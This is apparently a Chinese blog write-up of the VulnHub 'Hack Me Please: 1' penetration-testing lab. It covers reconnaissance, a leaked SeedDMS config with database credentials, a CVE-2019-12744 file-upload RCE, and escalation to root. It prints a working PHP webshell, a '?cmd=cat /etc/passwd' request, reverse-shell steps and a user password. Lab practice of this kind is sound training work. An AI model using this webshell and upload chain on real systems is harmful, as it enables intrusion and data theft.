Hack Me Please: 1靶场渗透测试

ops/2025/3/13 17:19:06/

Hack Me Please: 1

来自 <https://www.vulnhub.com/entry/hack-me-please-1,731/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.195

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.195

HTTP (80/tcp)

  • 网页标题: "Welcome to the land of pwnland"(可能为测试环境或CTF挑战)。
  • 服务器信息: Apache 2.4.41(Ubuntu系统),需检查是否存在CVE-2021-41773等漏洞。

MySQL (3306/tcp)

  • 版本: 8.0.25(Ubuntu定制版)。
  • 认证插件: caching_sha2_password(MySQL 8默认插件,旧客户端可能不支持)。
  • SSL支持: 已启用,证书为自签名(CN=MySQL_Server_8.0.25_Auto_Generated_Server_Certificate)。
  • 潜在风险: 若允许远程访问,需确保强密码策略并限制IP访问。

33060/tcp

  • 行为: 返回与MySQL X协议相关的错误消息(如Invalid message)。
  • 建议: 进一步验证是否为MySQL X Plugin端口,或提交指纹至nmap数据库。

4,80端口存在的http服务,是一个比较精美的web网站页面

对网站子目录进行枚举扫描

dirsearch -u http://192.168.23.195 -x 404,403,500

只扫描出来了一些目录,那就对这些子目录进一步探测

dirsearch -u http://192.168.23.195/js -x 404,403,500

main.js可能暗示了这是网站代码的入口?不管了,访问看看

/seeddms51x/seeddms-5.1.22/ 是一个典型的Web路径,指向 SEEDDMS文档管理系统 的特定版本目录。以下是关键信息解析:

1. 软件背景

  • 名称SEEDDMS(前身为 LetoDMS
  • 类型: 开源文档管理系统(DMS)
  • 用途: 用于企业文档存储、分类、检索和权限管理。
  • 官网https://www.seeddms.org
  • 版本: 5.1.22(发布于2021年左右)

5,信息收集扩大了我们的攻击面,再来搜索这个软件版本公开的漏洞

 searchsploit seeddms    

可以看到存在远程命令执行漏洞,来阅读这个漏洞利用文本

searchsploit -m 47022.txt

漏洞概述

  • 影响版本:SeedDMS < 5.1.11
  • 漏洞类型:远程命令执行(RCE)通过 未验证文件上传
  • CVE 编号:CVE-2019-12744
  • 发现者:Nimit Jain

攻击步骤分析

Step 1: 登录并上传恶意文件

攻击者首先需要登录到 SeedDMS 应用程序,并在某个文件夹下添加一个文档。SeedDMS 允许用户上传各种类型的文件,而该版本存在上传文件格式未严格验证的问题。

Step 2: 上传一个 PHP 后门文件

攻击者可以上传一个PHP Webshell(后门),使其在服务器上被执行。示例 PHP 代码如下:

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

为什么这个文件会被 SeedDMS 接受?

  • SeedDMS 版本 < 5.1.11 没有严格限制文件类型,攻击者可以上传 PHP 文件。
  • 上传的文件存储在 默认的目录(如 data/1048576/)下,并可以通过 URL 直接访问。

Step 3: 查找文档 ID

  • 文件上传成功后,SeedDMS 会为其分配一个唯一的 document_id(文档 ID)。
  • 这个 ID 可能会在上传后的界面显示,或者可以通过拦截上传请求(如 Burp Suite)来获取。

Step 4: 远程执行命令

一旦攻击者获取到上传文件的 URL,便可以远程执行系统命令

例如,攻击者可以访问以下 URL 运行 cat /etc/passwd 命令:

http://example.com/data/1048576/{document_id}/1.php?cmd=cat+/etc/passwd

  • {document_id} 是上传文件的 ID。
  • cmd=cat+/etc/passwd 让服务器执行 cat /etc/passwd,以读取 Linux 用户信息。

漏洞根本原因

  1. 文件上传没有严格验证
    • SeedDMS 允许上传任意格式的文件,而没有检查扩展名或 MIME 类型
    • 服务器端也没有限制可执行文件的存储路径。
  2. 上传目录对外可访问
    • SeedDMS 将上传的文件存储在 data/1048576/ 目录下,并且可以通过 URL 直接访问
  3. Web 服务器执行 PHP 文件
    • 由于 PHP 文件可以上传到公开访问的目录,并且服务器允许执行 .php 文件,因此可以造成 RCE。

6,接着再做信息收集,网站可能存在信息泄露的风险,枚举扫描http://192.168.23.195/seeddms51x下的子目录

 dirsearch -u http://192.168.23.195/seeddms51x -x 404,403,500

有一个conf文件,应该是存放配置文件的目录

dirsearch -u http://192.168.23.195/seeddms51x/conf -x 404,403,500

访问 http://192.168.23.195/seeddms51x/conf/settings.xml

得到了这个seeddms的数据库账户密码

7,尝试远程登录靶场的数据库

命令行登录失败,尝试Navicat Premium登录

查看seeddms数据库的users数据表,还有tblUsers数据表

admin用户是被MD5值强加密的,只能将123456计算为MD5值替换之e10adc3949ba59abbe56e057f20f883e

然后就能成功登录seeddms网站了

8,发现在添加文档的位置可以上传文档,那就上传反弹shell文件,使用kali自带的

/usr/share/webshells/php/php-reverse-shell.php

注意修改文件使其能够使用

然后访问 http://192.168.23.195/seeddms51x/data/1048576/6/1.php 与此同时kali需要打开对4444端口的监听

9,然后使用python脚本提升一下可交互shell,发现靶场存在一个普通用户saket

python3 -c 'import pty;pty.spawn("/bin/bash")'

然后根据数据库里面找到的用户,进行横向移动。靶场没有开放ssh服务,那就直接su切换用户

saket|Saket@#$1337

10,然后sudo -l查看一下提权

发现所有命令都允许免密sudo运行,直接sudo成root。提权成功


http://www.ppmy.cn/ops/165458.html

相关文章

Linux_17进程控制

前提回顾&#xff1a; 页表可以将无序的物理地址映射为有序的; 通过进程地址空间&#xff0c;避免将内存直接暴漏给操作系统&#xff1b; cr3寄存器存放的有当前运行进程的页表的物理地址&#xff1b; 一、查看命令行参数和环境变量的地址 因为命令行参数和环境变量都是字符…

[从零开始学习JAVA] 新版本idea的数据库图形化界面

前言: 在看黑马javaweb的时候&#xff0c;发现视频中的版本是老版本,而我的是新版本 为了记录新版本的数据库界面图形化操作我打算写下这篇博客 案例 创建tb_user表 对应的结构如下 要求 1.id 是一行数据的唯一标识 2.username 用户名字段是非空且唯一的 3.name 姓名字…

Javascript ajax

9.1 学习ajax的前置知识——JSON JSON是什么 JSON(JavaScript Object Notation)是⼀种轻量级的数据交换格式&#xff0c;它基于JavaScript的⼀个⼦集&#xff0c;易于⼈的编写和阅读&#xff0c;也易于机器解析。 JSON采⽤完全独⽴于语⾔的⽂本格式&#xff0c;但是也使⽤了类似…

宇树人形机器人开源模型

1. 下载源码 https://github.com/unitreerobotics/unitree_ros.git2. 启动Gazebo roslaunch h1_description gazebo.launch3. 仿真效果 H1 GO2 B2 Laikago Z1 4. VMware: vmw_ioctl_command error Invalid argument 这个错误通常出现在虚拟机环境中运行需要OpenGL支持的应用…

iOS UICollectionViewCell 点击事件自动化埋点

iOS 中经常要进行埋点&#xff0c;我们这里支持 UICollectionViewCell. 进行自动化埋点&#xff0c;思路&#xff1a; 通过hook UICollectionViewCell 的setSelected:方法&#xff0c; 则新的方法中执行埋点逻辑&#xff0c;并调用原来的方法 直接上代码 implementation UICol…

Rust规律归纳随笔

1. 针对所有权规则&#xff1a; 唯一所有权 <------------> 智能指针(引用计数)<-------------->共享所有权 (引用计数) { 单线程&#xff1a;Rc 多线程&#xff1a;Arc } 2. 针对借用规则&#xff1a; 共享不可变&#xff08;多读&#xff09;<----->…

聊聊langchain4j的AiServicesAutoConfig

序 本文主要研究一下langchain4j-spring-boot-starter的AiServicesAutoConfig LangChain4jAutoConfig dev/langchain4j/spring/LangChain4jAutoConfig.java AutoConfiguration Import({AiServicesAutoConfig.class,RagAutoConfig.class,AiServiceScannerProcessor.class })…

【性能测试】Jmeter如何做一份测试报告(3)

本篇文章主要介绍Jmeter中下载插件&#xff08;Jmeter Plugins&#xff09; 如何使用监听器插件&#xff0c;线程组插件&#xff0c;梯度压测线程组 测试报告需要去关注的数据&#xff0c;怎么看测试报告图表 目录 一&#xff1a;插件下载 1&#xff1a;下载地址 2&#xff…